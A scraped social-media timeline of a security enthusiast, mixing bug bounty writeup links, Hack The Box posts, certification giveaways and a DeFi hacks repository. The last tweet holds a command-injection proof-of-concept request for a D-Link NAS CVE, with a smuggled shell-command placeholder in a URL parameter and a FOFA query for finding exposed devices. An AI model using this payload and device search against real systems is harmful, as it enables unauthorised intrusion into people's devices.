kiyoooooo @heapbytes

What you're not changing, you're choosing. github.com/heapbytes Joined May 2020

Tweets

342
Followers

155
Following

447
Likes

596

kiyoooooo @heapbytes

a week ago

life was better before AI :)

0 0 2 66 0

𝕏 Bug Bounty Writeups 𝕏 @bountywriteups

2 weeks ago

Missing Security Headers hackerone.com/reports/3310318 #bugbounty #bugbountytips #bugbountytip

2 2 5 711 3

kiyoooooo @heapbytes

6 months ago

Chemistry on Hack The Box is now retired! Writeup - blog.heapbytes.tech/rooms/hacktheb…

0 0 13 219 0

Download Image

kiyoooooo @heapbytes

7 months ago

Hey guys, If anyone’s going @nullcon Goa and is looking for a group for stay, let me know. I need a friend/group for the same.

0 0 0 117 0

You're missing out if you're in Web3 security and haven't seen this repo yet. It lists ~ 200 smart contract hacks in the DeFi space and reproduces them using Foundry. Learn from past mistakes, anon! 🫡🔥 See below 👇 github.com/SunWeb3Sec/DeF…

3 30 200 8K 254

Wes @phishfinding

8 months ago

Cert Exam Voucher Giveaway provided by @ablativetech Prizes: 1 Security+ exam voucher 1 CCNA exam voucher How to enter: - RT - comment which voucher you want Winner will be picked next week. Good luck!

1K 1K 1K 148K 418

Download Image

0xaudron @0xaudron

8 months ago

🥷𝗖𝗵𝗮𝗹𝗹𝗲𝗻𝗴𝗲 𝘁𝗶𝗺𝗲, 𝗺𝘆 𝗱𝗲𝗮𝗿 𝗮𝘂𝗱𝗶𝘁𝗼𝗿 𝗳𝗿𝗶𝗲𝗻𝗱𝘀: 🐛This is a vulnerable code snippet of Deus Finance (Lending Contract) which led to loss of $3.1 million Can you spot it ?

30 29 301 46K 198

Download Image

HackTricks @hacktricks_live

9 months ago

We’re launching the HackTricks Assistant Chatbot hacktricks.ai for everybody! - It has access to the comprehensive HackTricks & HackTricks Cloud knowledge base - You can get answers on technical cybersecurity topics and generate practice facts and questions for…

12 103 631 55K 327

John Hammond @_JohnHammond

9 months ago

"I Stole My Own Reddit Account" -- a session hijacking demo! With background context on cookies, initial access via LNK cradle, running custom infostealer payloads in PowerShell, and a full account takeover that we explore with an anti-detect browser! 😈 jh.live/hdE4l6O_xXM

5 23 203 41K 80

Download Image

Tech Fusionist @techyoutbe

9 months ago

DevOps & Cloud (Role Based Certification) 👇 ++++++ Docker Course for Free👇

3 177 1K 93K 1K

Download Image

John Hammond @_JohnHammond

9 months ago

BEN SAID I COULD DO A GIVEAWAY TOO 🥳 HackingHub Black Friday deal: hhub.io/tQWXgd $39 for lifetime access ♾️ OR $19 for a month trial ⏰ AND I can match his giveaway-- 2️⃣ WINNERS (1 each) - Full cert bundle - Lifetime access To enter: ↪️ retweet and reply w/ 🦃

395 383 628 71K 166

Download Image

James Kettle @albinowax

9 months ago

If you like bounties, I highly recommend this presentation from @tincho_508 on novel web cache deception techniques. It comes with @WebSecAcademy labs too! youtube.com/watch?v=70yyOM…

6 148 664 30K 472

Whispersmith @Whispersmith_n

9 months ago

IDOR on HackerOne Embedded Submission Form medium.com/pinoywhitehat/… #infosec #bugbounty #TogetherWeHitHarder #inbbupdatesblogs

0 15 82 3K 37

Mr_mars_hacker @Mr_mars_hacker

9 months ago

Authorization bypass due to cache misconfiguration (For more join on discord : discord.gg/Y467qAFM4X) #bugbounty #bugbountytips #bugbountytip rikeshbaniya.medium.com/authorization-… credit:rikeshbaniya

1 28 156 5K 70

Coffin @coffinxp7

10 months ago

you can try this Cloudflare rocketloader nuclei template for SSRF and Finding Origin ip behind WAF helpful in WAF Bypass.. github.com/coffinxp/nucle…

7 119 575 43K 458

Download Image

Deev Pal @techycodec08

10 months ago

38: 0-100k in bug bounty with a 9-5 job Continued reading more IDOR reports. Unfortunately due to loads of office work, am not able to give a lot of time to Bugbounty. This is getting even tougher than I estimated, but anyways I wont stop. For IDOR Resources👇 @Rhynorater

5 13 129 11K 85

Download Image

1x0262 @canmustdie

10 months ago

IDOR leads to the deletion of main group (or all groups) using "/v1/groups" endpoint (€500) 1) In the redacted app, admins can edit and delete the groups section. But, users don't have permission to delete the main group. So, users cannot edit or delete the other groups. 👇

4 28 209 15K 143

kiyoooooo @heapbytes

10 months ago

Hey @CoinDCX_Cares @CoinDCX I’ve reached out to you through dm, kindly check my concern. And update your app support, or Atleast change name from support->Faq(frequently answered questions) to stop misleading 🙂

0 0 0 39 0

Clandestine @akaclandestine

10 months ago

cve-2024-10914 GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;<INJECTED_SHELL_COMMAND>;%27 FOFA：app =D_Link-DNS-ShareCenter #exploit #poc #IoT